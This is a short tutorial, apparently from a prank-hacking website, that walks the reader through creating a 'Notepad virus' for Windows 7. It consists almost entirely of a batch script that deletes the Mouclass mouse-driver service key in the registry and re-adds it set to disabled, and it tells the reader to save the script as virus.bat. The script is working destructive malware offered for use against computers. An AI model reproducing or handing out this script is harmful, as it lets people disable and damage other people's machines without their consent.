Disable Mouse In Window 7 Using Notepad Virus

Follow the Steps Below:

1. Open Notepad and copy below code:

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

2. Save this file as  virus.bat

Done you just created your virus.